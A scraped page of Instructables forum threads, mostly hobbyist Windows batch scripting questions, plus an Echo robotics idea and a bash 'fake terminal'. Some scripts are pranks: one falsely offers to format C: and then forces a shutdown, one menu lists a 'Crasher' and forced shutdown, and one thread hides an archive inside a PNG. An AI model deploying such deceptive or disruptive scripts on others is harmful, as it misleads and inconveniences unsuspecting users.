Hi Everyone! I have been consumed with the idea of using an Amazon Echo as a foundation for a robotics project.  It has a simplistic IFTTT command ability which would make great functionality for a robot.  There are lots of simple on off switches already compatible with the device.  The Echo is cloud based and constantly learning so the voice cammands will be come more and more streamlined over time.  It already is wifi and bluetooth enabled, can play music and search the web for you.   My idea is to add mobility.  I don't know if I will ever attempt this but I am intrigued to see what we can come up with.  Using RFID tags to identify people in my home, I can imagine easily telling Alexa to come to me or to do certain activities.  Set alarms for reminders to take medicine and then bring it to you etc.  I just feel like this allows an easy leap for some home robotics.   One idea is to marry it to a Roomba so it has other functionality.  Add a wireless video camera.  Keeping it as "off the shelf" components as possible would be great.  I don't know where I am headed with this but I would love for others on here to chime in and put in their two cents worth.  Thanks for reading this and I hope to hear from some of you.   update:  I'm thinking of making an Instructable from what I've learned so far. instead of posting add ons here in comments.

Topic by sosclosetsandfurniture   |  last reply


Do You Have An Amazon Echo You Do Not Use?

Hi, I am from Indiana and would like an Amazon echo, if you do not use it. Thanks.

Topic by ElementalMaker 


have a question I want batch to do a comand when you use parameters so that when you type in 1 preforms a goto command

So far I hav@echo offecho welcome to brianecho brian will now add 4 1698 timesset/a num=4:furtset/a num=%num%+4echo %num%if %num%==6792 goto :endgoto :furt:endecho you have reached 6792echo continue?set v1=goto :count1set v2=goto :g echo press 1 to continueecho press 2 to stopset/a nu=6792set/a n=0set /p you=if %you%==1 echo %v1% if %you%==2 echo %v2%

Question by goosegg34   |  last reply


Where did I go wrong [Batch]?

What is wrong with this code? I have it open this program: @echo off mode 18,4 title Actions :1 cls echo (B)           (Y) echo   (A)       (X) echo. set /p a= echo %a%> link.txt goto 1 And this prgram is supposed to read the input. Basically, the first one sends a message to a TXT file. Then this program picks up the message from the TXT file and turns it into a variable. @echo off title Whack-a-Mole set a=10 set mole=0 set time=0 set timeend=0 :Start cls set /a a=%a%-1 echo This game uses the "Actions" gamepad unit. echo. echo. echo Hit the most moles to win! echo. echo Game starts in %a% seconds. ping localhost -n 2 > nul if %a% equ 0 goto Game goto Start :Game if exist Actions.bat start Actions.bat cls echo Press "A" on the gamepad unit to swing your bat. Press "B" to stop. echo. if not exist link.txt ( echo The file "link.txt" could not be found. This game cannot be played without it. ping localhost -n 4 > nul ) if not exist Actions.bat ( echo The file "Actions.bat" could not be found. This game cannot be played without it. ping localhost -n 4 > nul ) ping localhost -n 4 > nul :GameBegin cls echo Ready... ping localhost -n 4 > nul cls echo GO! ping localhost -n 2 > nul :Mole1 cls set /a time=%random%/7000 echo Reaction Time:%timeend% echo Moles Hit:%mole% echo. echo [__][__][__][__] echo   [__][__][__][__] echo     [__][__][__][__] ping localhost -n 2 > nul set a=< link.txt echo 00> link.txt if /i "%a%"=="a" goto gameover if /i "%a%"=="b" goto gameover if /i "%a%"=="00" goto gameover set a= ping localhost -n %time% > nul goto Mole2 :Mole2 cls set /a time=%random%/7000 echo Reaction Time:%timeend% echo Moles Hit:%mole% echo. echo [__][__((O.O))_] echo   [__][__/:_][__] echo     [__][/ [__][__] ping localhost -n 2 > nul set a=< link.txt echo 00> link.txt if /i "%a%"=="a" ( set /a mole=%mole%+1 goto Time ) if /i "%a%"=="b" goto gameover if /i "%a%"=="00" goto gameover set a= ping localhost -n %time% > nul goto gameover :Time set timestart=%time:~2% set timeend=%timestart:~4,2% if /i %timeend% equ 01 set timeend=1 if /i %timeend% equ 02 set timeend=2 if /i %timeend% equ 03 set timeend=3 if /i %timeend% equ 04 set timeend=4 if /i %timeend% equ 05 set timeend=5 if /i %timeend% equ 06 set timeend=6 if /i %timeend% equ 07 set timeend=7 if /i %timeend% equ 08 set timeend=8 if /i %timeend% equ 09 set timeend=9 set /a timeend= %timeend%+2+%random:~1,1% if %timeend% geq 60 ( goto gameover ) goto Mole1 :gameover cls echo You got %mole% moles. echo Your fastest time was %timeend%. echo. echo Type in "B" on the gamepad unit to go back to the main menu. :input set a=< link.txt if /i "%a%"=="b" goto Start goto input It may look kinda wierd here, but that's because of instructables, not me. Anyways, it goes through the animations and doesn't even notice that there are any IF commands. Where did I go wrong? EDIT: Figured it out. Corrected: SET /P a=< link.txt Forgot the /p!

Question by TheBatchies   |  last reply


how can i make a color change menu in a batch file?

This is what i have madet but i cant se why it wont change color echo off goto 1 :greens color 0A goto 1 :1 @echo.1) Crasher @echo.2) just for fun @echo.3) shutdown @echo.4) spiral color 0A @echo.5) matrix(g) @echo.6) matrix(r) @echo.7) matrix(b) @echo.8) change color @echo.9) not done @echo.10) not done @echo.11) not done @echo.12) not done set pass= choice /c 123456789 /n /m "Choose a task" set pass=%errorlevel% if errorlevel 1 set goto=crash if errorlevel 2 set goto=fun if errorlevel 3 set goto=3 if errorlevel 4 set goto=spiral if errorlevel 5 set goto=matrix(g) if errorlevel 6 set goto=matrix(r) if errorlevel 7 set goto=matrix(b) if errorlevel 8 set goto=color if errorlevel 9 set goto=done if errorlevel 10 set goto=done if errorlevel 11 set goto=done if errorlevel 12 set goto=done goto %goto% :crash start Crashthecomputer.bat goto done :fun start fun.bat goto done :3 shutdown -f goto done :spiral start spiral.bat goto done :matrix(g) start matrixg.bat goto done :matrix(r) start matrixr.bat goto done :matrix(b) start matrixb.bat goto done :color cls @echo.1) green @echo.2) red @echo.3) blue @echo.4) gule @echo.5) cyen @echo.6) purpel set passs= choice /c 1234567 /n /m "Choose a task" set passs=%color% if color 1 set goto=greens :done @echo thanks for using my creation pause

Question by Emil ØmarkJ 


My batch file won't work!

I was working on a puzzle batch file. Everything works except for the end, where it quits for no reason. Here's the code: @echo off set puzzle1=%random% set puzzle2=%random% set puzzle3=%random% echo I will make three files. pause echo Each of them will be a piece of the puzzle. pause echo Are you ready? pause echo Begin. pause echo %puzzle1% >> 1.txt echo %puzzle2% >> 2.txt echo %puzzle3% >> 3.txt :a set answer= set /p answer=Answer: if '%answer%'=='%puzzle1% %puzzle2% %puzzle3%' goto b if not '%answer%'=='%puzzle1% %puzzle2% %puzzle3%' goto a :b echo I knew you could do it. FOR %%A IN (*.txt*) DO DEL %%A pause >nul exit

Question by BangBang1337   |  last reply


How to make a custom CMD window have custom commands (or commands at all) Answered

Hey guys, I made a simple cmd program: @echo off color 0a title %CD% echo DBAC(R) Windows DOS echo (C)Copyright DBAC 2009+ echo. :CMD set /p cmd=%CD%^> %cmd% goto CMD I just have a question: How do I give it commands? Where do I tell it where to find them? If anybody knows, comment please! Thank you! EDIT: Resolved. @echo off color 0a title %CD% echo DBAC(R) Windows DOS echo (C)Copyright DBAC 2009+ echo. :CMD set cmd= set /p cmd=%CD%^> if not defined cmd goto CMD call "%CD%"\Commands\%cmd% echo %cmd%>"%CD%\Commands_Log\%cmd% goto CMD

Question by TheBatchies   |  last reply


Batch. Reading multiple lines from a text file? Answered

I created a batch file, everytime it runs it saves a name and date to a log (log.txt). So everytime it gets more and more lines. I want to know how to read all the lines from File.txt (in another Batch file). my current script is: @echo off set /p txt= > File.txt set /p txt2= >> File.txt set /p txt3= >> File.txt set /p txt4= >> File.txt set /p txt5= >> File.txt 'and so on echo %txt% echo %txt1% echo %txt2% echo %txt3% echo %txt4% echo %txt5% Every time i run it, it says "did not expect >>" Please help

Question by animan1   |  last reply


Can anyone explain why this batch file doesn't work correctly? Answered

This is the code: @echo off :Side ping localhost -n 2 :Main cls color Fc echo  Rock, Paper, Scissors! pause echo How to play: pause echo Type either Rock, Paper or Scissors in the bar and press enter, your opponents choice will show, and repeat! pause :Start cls set /p %input0%= Enter your choice here : :ans set /a ran=%random% if /i %ran% GTR 7 goto :1 if /i %ran% LSS 7 goto :2 if /i %ran% LSS 4 goto :3 :1 if %input0%== Scissors echo Your opponent chose Rock, Rock beats Scissors, you lost! else echo You Win! pause goto Start :2 if %input0%== Rock echo You Win! else echo Your opponent chose Paper, Sorry you lose! pause goto Start :3 if %input0%== Paper echo You Win! else echo Your opponent chose Scissors, Sorry you lose! pause goto Start can someone explain why this doesn't work?

Question by zomarea225   |  last reply


Check if a process is running from a batch file? Answered

I need a command simmilar to “IF EXIST” to check if a process, such as wmplayer.exe is running. Something like this. if exist wmplayer.exe (echo proccess running) else (echo proccess not running Can you think of anything? **I thought I was close with this, but I can't get it to work.** IF ”%notepad.exe%”==”” (echo The process is not running) ELSE (echo the program is running) With it set up like this it always says the process is not running IF ”%notepad.exe”==”” (echo The process is not running) ELSE (echo the program is running) With this it aways it running. Any ideas on how to get it to work? I know I’m really close.

Question by XOIIO   |  last reply



Website Selector

Hello everyone I came up with this simple but very useful batch file. Copy the Text you see below and then paste it to notepad and save it as .bat FOR EXAMPLE===> Website Selector.bat COPY   ll   \/ @echo off title Websites color 0a cls :back echo now pick a website!!! echo 1=www.google.com echo 2=www.youtube.com echo 3=www.yahoo.com echo 4=www.facebook.com echo 5=www.twitter.com echo 6=www.instructables.com SET /p pick= if %pick%==1 goto 1 if %pick%==2 goto 2 if %pick%==3 goto 3 if %pick%==4 goto 4 if %pick%==5 goto 5 if %pick%==6 goto 6 :1 start www.google.com goto stuff :2 start www.youtube.com goto stuff :3 start www.yahoo.com goto stuff :4 start www.facebook.com goto stuff :5 start www.twitter.com goto stuff :6 start www.instructables.com goto stuff :stuff echo press 1 to go back to choosing a website or 2 to exit SET /p go= if %go%==1 goto back if %go%==2 goto exit :back goto back :exit goto end :end exit

Topic by el-xavi26   |  last reply


Batch

I was wondering if any one could tell me whats wrong with this batch file?@ echo offecho Would you like to format C:? Y/Nset /p answer=if %answer%=n goto 2exitif %answer%=y goto 3exit:2echo System Failure!shutdown -s -f -t 10pause:3echo ERROR!!shutdown -s -f -t 10pause

Topic by eragon44111   |  last reply


Is it just me or this doesn't work..batch?

 I tried making a batch and it looks something like this (it is a subsystem)Bold words need paying attention to: :mainmenu echo choose your selection: echo 1 apps echo 2 editor echo 3 phun not done echo 4 sites not done set /p choice= if %choice%==1 goto :apps if %choice%==2 goto editor if %choice%==3 if %choice%==4 echo error wrong choice pause goto mainmenu I would like to KNOW the goto and heading does not work! Please tell, I need it for my subsystem and you will recieve credit for it when I post the 'ible UPDATE Does 3 and 4 have to be filled in?

Question by knex_mepalm   |  last reply


Gunshot Locator using iphones?

Will someone please make an app for our troops- one that uses multiple iphones to acoustically triangulate the location of the source of a gunshot and multiple gunshots so that each phone user could hold their phone up with a real time image and see an overlay of the exact position of the shooters.   It's too expensive for the military to implement,  but the kids can have phones.   P.S. Not sure who this guy is shooting at, not sure if he lived. http://www.break.com/index/soldier-films-himself-being-shot-by-taliban-2373200

Topic by savi shankar   |  last reply


Variables in a batch file?

Im working with Vista SP1 and experimenting with batch files, i came up with a problem so i'd see what you thought. This is the code i was using::top@echo offcolor 0aTitle Experiment by Meecho -------------------------------------echo Type a letter between a and d.echo -------------------------------------set /p letter=if %letter%=agoto a:aecho This is the result of entering Apause>nulWhat happens is that the box closes after you enter your letter and press enter, i dont have any more results (i.e. where it says :a) because i found it didnt work

Question by Pawn_of_Prophecy   |  last reply


Please help a noob

I have a script that kills processes listed in text file, i need it to also run listed processes if they are closed. @echo off echo Edvinas Petukas Mtnl_14 @echo off &setlocal; enabledelayedexpansion tasklist /fo list|find /i ".exe">%temp%\running.tmp for /f "tokens=2*" %%a in (%temp%\running.tmp) do ( call :process %%b ) pause exit /b :process for /f "tokens=*" %%c in (sarasas.txt) do if "%*"=="%%c" ( set Answ=N echo Isjungti procesa? set /p Answ=Kill %*? IF /I NOT "!Answ!"=="Y" GOTO :EOF if errorlevel 1 goto :EOF echo Killing %%c taskkill /f /im "%%c" )

Question by EdvinasP   |  last reply


A fake terminal for your school, friends for family.. Who don't know what they are doing.

#!/bin/bash COMMANDS=" Commands Are: \n\t  ping: Send ICMP ECHO_REQUEST to network hosts.\n\t  nc: Arbitrary TCP and UDP connections and listens. (use to send text or a file to your friends)\n\t  request: To request a program or a real shell.\n\t  help or h: Echo this Help.\n\t  clear: Clear the display.\n\t  exit: Close this fake terminal.\n " echo -e $COMMANDS while true do  echo -ne "\033[1;33m`whoami`\033[1;37m@\033[1;32m`hostname`\033[1;37m:\033[1;31m (press h for help) \033[1;36m$ \033[0m"  read COMMAND  case "$COMMAND" in   ping )    read -p "What do you want to ping? " SERVER    ping -qc1 $SERVER    if [ $? -eq 1 ] ; then     echo "$SERVER is not avalible.. "    else     echo "$SERVER is avalible.. "    fi   ;;   request )    read -p "What do you want to request? [program|shell] " REQUEST    case "$REQUEST" in     program )     ;;     shell )      /bin/bash     ;;     * )      echo "Can't request for $REQUEST.."    esac   ;;   clear )    /usr/bin/clear   ;;   exit )    exit   ;;   help|h )    echo -e $COMMANDS   ;;   * )    echo "$COMMAND: command not found "  esac done Give it a name:     mv whateveritwas [command.sh] Make it work easer via:     chmod +x [command.sh] Now you can use via:     [ ./command.sh ]

Topic by james.mcglashan 


Why couldn't I enter in this url - http://your.raspberrypi.ip.address:5050

I need this url for making a echo. But it didn't work. Please help.

Topic by fairuj   |  last reply


Choice command works in CMD but not in a batch file

I was trying to use the Choice command in Windows7 and when I tested it in CMD it worked fine, but when I try to use it in a batch nothing shows up it just stops the batch from doing anything on a blank line. So lets say my batch file was... @echo off echo Hi echo Person choice /c YN /m Will you be my friend? if ERRORLEVEL==2 goto :end if ERRORLEVEL==1 goto :a echo If you see this it failed... :a echo YAY! Pause>nul :end exit Then I would see Hi Person Then nothing after that. It would just be blinking like you have to type in something on a blank line. Any Ideas?

Question by noobererer   |  last reply


Useful Batch Commands

Hey guys, I wanted to post a quick forum topic about useful batch commands that are seldom used or not well-known, or maybe just useful tidbits. Note: These do not have to be used, they are just extremely helpful and are just "extra," meaning you could probably find easier-to-understand but not as useful commands. 1. The CHOICE command The reason this command is so cool is that unlike other Y/N menus, when you enter the desired number, you don't have to hit enter, it goes straight to the next screen. You can also program it to execute a command after a set amount of time. Here's how to write it out: choice /c:12345 /t:5,10 if errorlevel 5 goto ha if errorlevel 4 goto joke if errorlevel 3 goto tired if errorlevel 2 goto fried if errorlevel 1 goto chiken To time it, you type /t and then a colon. You write the choice that you want to be timed, e.g. 5, and the amount of time in seconds you want it to wait for seperated by a comma. 2. The Random Variable The reason I deceided to put this up is because it is one of the only if not the only variable that is already programmed into the system. By using it correctly, you can generate a number between 1 and 32767. WHAT?! Of course, you can narrow it down, to, say about 1 and 100. :dim set rnd=%random% if %rnd% GEQ 101 goto dim if %rnd% LEQ 0 goto dim set number=%rnd% So as you can see, %random% is a set variable and generates a random number for you. Please keep in mind that this can take one second, or one eternity (literally) since it doesn't narrow down the choices after finding that a number doesn;t work. So, you may keep on generating 101 forever and never get to 100! 3. The ^| Command. Ever get frustrated because you are making an animation with, for example, stick figures and are getting driven nuts because the minute it gets to a certain part, it exits on you? The reason is probably because you used the | symbol, which is actually knd of like a command by itself. So, if you're doing something like this: echo [0] echo /| echo / The reason it is not working is because you didin't use a ^ before the |. Here's what it should be: echo [0] echo /^| echo / Yes, it looks wierd in the editing stages, but looks much better in the real thing. Just remember, you will have to remember that the ^ will be invisible, so make sure everything else in front of it is like this: echo [0]   [ echo /^|    [ echo /     [ So that the [ or whatever it is is one space ahead from the others. 4. The %TIME:~0,5% Command. What time is it? Oh, it's 3:16:52.29! Ever been frustrated with the TIME command? For one, who ( and when I mean who, I mean the average batcher who doesn't use the TIME command to synchronize seven different computers around the house which I could never hope to do) needs to be that exact? When making a batch alarm clock, for example, the user wouldn't really want to do all of that, would they? So, for those of you who would want to make such a clock, here's an example: @echo off title Alarm Clock :start cls color f0 echo. echo Use 24 hour clock echo. set /p a=Set Alarm: cls echo. echo Alarm set to %a%. :alarm if %time:~0,5% EQU %a% goto alarmset goto alarm :alarmset color fc echo echo echo cls echo. echo It's %time:~0,5%! echo. echo Press 1 to acknowledge. choice /n /c:12 /t:2,1 if errorlevel 2 goto alarmset if errorlevel 1 goto sleep goto alarmset :sleep goto start So there's one example. %TIME:~0,5% sets the time from 3:15:00.00 to just 15:15. This doesn't work just with the TIME command, you can do this with any variable. If I had a variable %x% and it said "crayon" and wanted it to say "cray," I would type in %x:~0,-2%. If I wanted to make %x% say "on," I would type in %x:~-4,0%. 5. The AT Command The AT command is exactly what it appears to be. You tell it AT (time) /every:[day(s) of the week] (command to be executed). So, it I wanted an alarm to go off whenever the Simpsons are on, I'd type AT 19:30 /every:sumtwthfs echo ALARM!!! Now, I know that the Simpsons are on at a different time on Sundays, but that's not important. Please not that you HAVE to specify what day you want it to go off on (it can be dd/mm/yyyy to be really specific). Default is set to "tomorrow." This was probably too confusing. For one, I talk too much. Thank you for even getting this far, anyways. Thanks a bunch!

Topic by TheBatchies   |  last reply


use an attribute as a variable in batch?

How can I use a file attribute as a variable in batch, something like this? IF 'attrib'=='+h' C:\Users\XOIIO\Desktop\foldername (echo yes) ELSE (echo no) is there any way to do this?

Question by XOIIO   |  last reply


What is wrong in my batch file? Answered

@echo off title Camo echo what is the location of the folder that has the files (e.g C:\x) set /p file=C:\x echo what is the name of the file that you are trying to hide in set /p namefile=picture echo what is the name of the 7z file that you created (including format) set /p zip=File2.7z echo what will be the name of the new picture that will be created containing the files set /p namehider=newpicture echo what is the picture's format? set /p format=PNG cd %file% copy /b %namefile%.%format% + %zip% %namehider%.%format% I am attempting to automate a process that I do manually but can't seem to get the desired result. First i must have 7zip compress a couple files from a specific folder, which, I haven't attempted to write commands for yet (taking suggestions). Next the below is intended to run in CMD using the created zip file and a picture like so cd\ enter cd x enter copy /b Picture.png + x.7z NEWPICTURE.png The product should be deposited back into C:\X

Question by Dauntless   |  last reply